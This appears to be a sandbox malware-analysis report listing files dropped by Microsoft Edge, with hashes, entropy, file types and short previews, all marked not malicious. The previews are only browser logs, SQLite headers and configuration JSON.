File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.261351785242975
Encrypted:	false
SSDEEP:	12:m1ISVvLZYebvqBZFUt8r4Mg/+rEvI54ZYebvqBaJ:+llYebvyg80eoYebvL
MD5:	F8A260B36B915B5226C014E892A272CB
SHA1:	815325AE787F6573533250306A0A988AB0E8242D
SHA-256:	A35F58BEA217D250FA2C046E7702AC3A229DD3267F39BE66A0EA312B7FE5F512
SHA-512:	A3E4949E55BA3A94014134D57349A8134B8E30442F5F26F87BA5EA8ABEB177722A70C3ED6A271AB31FAC5A1B2AECBFB8CC42CF75735164941EF9DF78BABC7674
Malicious:	false
Preview:	2024/11/27-13:49:20.517 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-13:49:20.522 1f58 Recovering log #3.2024/11/27-13:49:20.527 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.261351785242975
Encrypted:	false
SSDEEP:	12:m1ISVvLZYebvqBZFUt8r4Mg/+rEvI54ZYebvqBaJ:+llYebvyg80eoYebvL
MD5:	F8A260B36B915B5226C014E892A272CB
SHA1:	815325AE787F6573533250306A0A988AB0E8242D
SHA-256:	A35F58BEA217D250FA2C046E7702AC3A229DD3267F39BE66A0EA312B7FE5F512
SHA-512:	A3E4949E55BA3A94014134D57349A8134B8E30442F5F26F87BA5EA8ABEB177722A70C3ED6A271AB31FAC5A1B2AECBFB8CC42CF75735164941EF9DF78BABC7674
Malicious:	false
Preview:	2024/11/27-13:49:20.517 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-13:49:20.522 1f58 Recovering log #3.2024/11/27-13:49:20.527 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.246047173779322
Encrypted:	false
SSDEEP:	6:HC/1hcM+q2PcNwi23oH+TcwtpIFUt8YC/1mJZmw+YC/1k3cMVkwOcNwi23oH+TcM:ChcM+vLZYebmFUt8zmJ/+zk3cMV54ZYM
MD5:	C2309260BB68B0AA5AE94E21379FC55A
SHA1:	7CBEB3C09A3BE6DA3CD880B13FF8C0962CC3EDD6
SHA-256:	68887FEA1C88CAE78D924135685D65A734C928560174DD092CB1D296299354CC
SHA-512:	E9B431C951DD9E01D35DD045DB70D2087EA7A4DBEB806FE062A308C9EA4D6CF1391DAE5B4508E3910C20DFAD1B098DE456764D9698C3C3CDE4BBE34F1F2E2BE5
Malicious:	false
Preview:	2024/11/27-13:49:02.738 1f8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-13:49:02.739 1f8c Recovering log #3.2024/11/27-13:49:02.740 1f8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.246047173779322
Encrypted:	false
SSDEEP:	6:HC/1hcM+q2PcNwi23oH+TcwtpIFUt8YC/1mJZmw+YC/1k3cMVkwOcNwi23oH+TcM:ChcM+vLZYebmFUt8zmJ/+zk3cMV54ZYM
MD5:	C2309260BB68B0AA5AE94E21379FC55A
SHA1:	7CBEB3C09A3BE6DA3CD880B13FF8C0962CC3EDD6
SHA-256:	68887FEA1C88CAE78D924135685D65A734C928560174DD092CB1D296299354CC
SHA-512:	E9B431C951DD9E01D35DD045DB70D2087EA7A4DBEB806FE062A308C9EA4D6CF1391DAE5B4508E3910C20DFAD1B098DE456764D9698C3C3CDE4BBE34F1F2E2BE5
Malicious:	false
Preview:	2024/11/27-13:49:02.738 1f8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-13:49:02.739 1f8c Recovering log #3.2024/11/27-13:49:02.740 1f8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265702118322572
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM9SAELyKOMq+8HKkjucswRv8p3nVumw:K0q+n0J99ELyKOMq+8HKkjuczRv89c
MD5:	4AAF7CB5A19938D371E350B2E992B4A7
SHA1:	5AE2485E93D32615A6C4B67D6E0EC34E0C1F74EC
SHA-256:	01C4627944C02962D42DDA5722237964102584615D2C15C83CCBC1D96E5C3FA6
SHA-512:	E88B75887C87E30BAEDF697503B04C2799D31203BBB8EC49B12AB545AE3EDC01FF53E5236FF5D38B1A73B814B2D5DAC09D11668A804A98273D6738C580CC805A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4665920414164286
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBv2:v7doKsKuKZKlZNmu46yjx+
MD5:	BD8B835CBDAC18519BF71E343E232A00
SHA1:	D8EF48039EC5C6DE95EC818FC9148D71938DE2E0
SHA-256:	C2D06271ACB0BE511A11DC5A7E8249B11C80A3F53DE36E00F416BC13BF391249
SHA-512:	80840BE681E29B369BCB17BEA2766366A597F4917A96642429B413C16F5EF77F64FAB972452B1D2654B1C1027EA75CC4358F21F046702647101F945C88E33381
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b27dc2d2-7b6e-42cc-ac91-65d4b26296a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ccc75590-22fa-4ba7-9643-b185d5fb9d2c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561440244994773
Encrypted:	false
SSDEEP:	768:azWJg27pLGLPCAWPp9fe68F1+UoAYDCx9Tuqh0VfUC9xbog/OVzke9wT5rwxys2B:azWJgWcPCAWPp9fe6u1jaKkeuTKUs2bV
MD5:	B57B4D2E186277B82B2C9360A969B38E
SHA1:	337C03C17A3EB1FAB3834D6321E8B1DE984E8387
SHA-256:	EC908154CEAEFD891A98509477623B8F943791E64873E1767BE55E7758556292
SHA-512:	AC3D41183FD848417FE250C72F0E8A0A07E3CB6669C383D9571637E0AE69AE93956BE92EB5CB77668E3BD9B86293FA7E94E5B84ABD80B555A1156FD907CAC5E2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377206942665637","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377206942665637","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f677a640-592b-4ae1-9d0e-eb0cd24ed0f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ff9a811b-7451-4b20-8392-cd42775813ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567887645223885
Encrypted:	false
SSDEEP:	768:am4JuAWPp9fD68F1+UoAYDCx9Tuqh0VfUC9xbog/OV09wA5rw3F2pRtuY:am4JuAWPp9fD6u1ja9uAKV0tL
MD5:	689F5F10C4597642336B7DB8929BAB27
SHA1:	2103B9DCA7A72BF94CA82E55552D077DB2FCAE7E
SHA-256:	79D4048CFCBC40034574C92271CF31CDF850E9A4D0478115AC092BC14483A705
SHA-512:	E8A7740903740B80A7B4A72D3319CB5EABB45446587A41E34EA60BCBF10852600048493702663687CD2CA8C19254402A4000613AA8637277B78D93669C5AD75D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377206942665637","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377206942665637","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1060141483151371
Encrypted:	false
SSDEEP:	12:Jnt1HQcnt1H+pEjVl/PnnnnnnnnnnnnvoQtEoxu:Jnt5Qcnt5uoPnnnnnnnnnnnnvHj
MD5:	7E30371850C5965468C62B678B0595A6
SHA1:	5D09E027EEE365C471DE512146C108349DBFC879
SHA-256:	2608B094D99B8B1A3E9632AE7335D959B972B9F05FF3F88D16066CFBBB8AF2D3
SHA-512:	FFC474D625CCF387866467CAF326B789809A82241E2BD48B466C26AF61AAF355D432A8C1AE83C875981DA11A16D6A5BD5D86D18AC21677AF491985BB281F1B17
Malicious:	false
Preview:	..-.............Q........&..(.3.-.....q;.0....-.............Q........&..(.3.-.....q;.0..........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9355790517492419
Encrypted:	false
SSDEEP:	384:yXHLI5RagJzitOzt372AhxDzq8yozVZ8Jy8yaGygyndyUxyx/:+xw
MD5:	962D6EFB36336D6C8F350AC7C90444C0
SHA1:	5921F4717E887A8AFD4EE010B5FF2E33619DFF85
SHA-256:	5C0F750EDD6EBDF71AC6F6AAE476DBEB50AFC937182CC4A71FBEFAA0689027E6
SHA-512:	5BE5510E91E087CD95EFE4A2394806D65A2001DF64C791986AB4EDD5831E77EEA76C8800A4CD732F0C0F3FCEEE5DE1E3B100936A4007419FA8CE5BA365A6D3A4
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.013264902544215
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuug+4ill7YceVfsedhOo:llc8BOuuuuuuuuuuug+Zll7YcKE8p
MD5:	D48811D2576D8494C2DC82121AEDE2F8
SHA1:	6F5FD4A68AD8B97EF6D2CA10441C61A20D84A750
SHA-256:	6382E80D7026F240BD173DC135B30757AB25DA2BDBB2EFD8CBAAA951FDA6468A
SHA-512:	38D6E04D1C655487E242BA312ACEDB9C4208FC262D6738F8AE0A18D582ECF33A65DCD136E1C318DBF824532B168A31599C4799219912F0F00101004B3DF76413
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....W.......W............V.e.................p.0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.259940875537142
Encrypted:	false
SSDEEP:	6:HC/CN+q2PcNwi23oH+TcwtfrK+IFUt8YC/7nZmw+YC/7HVkwOcNwi23oH+TcwtfR:6vLZYeb23FUt8h/+754ZYeb3J
MD5:	554C677E35FAF981793BDEF26A633D25
SHA1:	F8783B9BD6FE81333C5BA7F622FA8EF8F4B24558
SHA-256:	C0E298DB525047E8954E85DEAF5C4C3ECAF2DD4907ED63BD94212D8D9C721E15
SHA-512:	20E378A7E9C3DB4814E861E0AA4B978A67729B39C43FA5706C023B2F8DFB467E85F255075A13C30DE9B5CF430146FA93DDD5F2BCC9D4D92E29528C85AE432D36
Malicious:	false
Preview:	2024/11/27-13:49:03.277 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-13:49:03.278 1c88 Recovering log #3.2024/11/27-13:49:03.278 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.259940875537142
Encrypted:	false
SSDEEP:	6:HC/CN+q2PcNwi23oH+TcwtfrK+IFUt8YC/7nZmw+YC/7HVkwOcNwi23oH+TcwtfR:6vLZYeb23FUt8h/+754ZYeb3J
MD5:	554C677E35FAF981793BDEF26A633D25
SHA1:	F8783B9BD6FE81333C5BA7F622FA8EF8F4B24558
SHA-256:	C0E298DB525047E8954E85DEAF5C4C3ECAF2DD4907ED63BD94212D8D9C721E15
SHA-512:	20E378A7E9C3DB4814E861E0AA4B978A67729B39C43FA5706C023B2F8DFB467E85F255075A13C30DE9B5CF430146FA93DDD5F2BCC9D4D92E29528C85AE432D36
Malicious:	false
Preview:	2024/11/27-13:49:03.277 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-13:49:03.278 1c88 Recovering log #3.2024/11/27-13:49:03.278 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.26712490549262
Encrypted:	false
SSDEEP:	6:HC/U+q2PcNwi23oH+TcwtfrzAdIFUt8YC/5jZZmw+YC/23VkwOcNwi23oH+TcwtS:UvLZYeb9FUt8f9/+AF54ZYeb2J
MD5:	EA3A97C7B0D49A9DF9E4F9A404DE679C
SHA1:	4F2F83A010BC2B764D0765059BE06595E535B4B6
SHA-256:	2DD6B1405BD7A9892E1ACE1052D16FECFACA0AB3805E90C0CC5EE979BCB81941
SHA-512:	071C14BEB139752323400DA9E7B4BC110AE1211AFC3A26721533B6CBB80A57EC2738D45FFD30842F005042384CB87926C1B1B4D42B22428E68780F2DB38AD4CB
Malicious:	false
Preview:	2024/11/27-13:49:03.266 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-13:49:03.267 1c88 Recovering log #3.2024/11/27-13:49:03.268 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.26712490549262
Encrypted:	false
SSDEEP:	6:HC/U+q2PcNwi23oH+TcwtfrzAdIFUt8YC/5jZZmw+YC/23VkwOcNwi23oH+TcwtS:UvLZYeb9FUt8f9/+AF54ZYeb2J
MD5:	EA3A97C7B0D49A9DF9E4F9A404DE679C
SHA1:	4F2F83A010BC2B764D0765059BE06595E535B4B6
SHA-256:	2DD6B1405BD7A9892E1ACE1052D16FECFACA0AB3805E90C0CC5EE979BCB81941
SHA-512:	071C14BEB139752323400DA9E7B4BC110AE1211AFC3A26721533B6CBB80A57EC2738D45FFD30842F005042384CB87926C1B1B4D42B22428E68780F2DB38AD4CB
Malicious:	false
Preview:	2024/11/27-13:49:03.266 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-13:49:03.267 1c88 Recovering log #3.2024/11/27-13:49:03.268 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
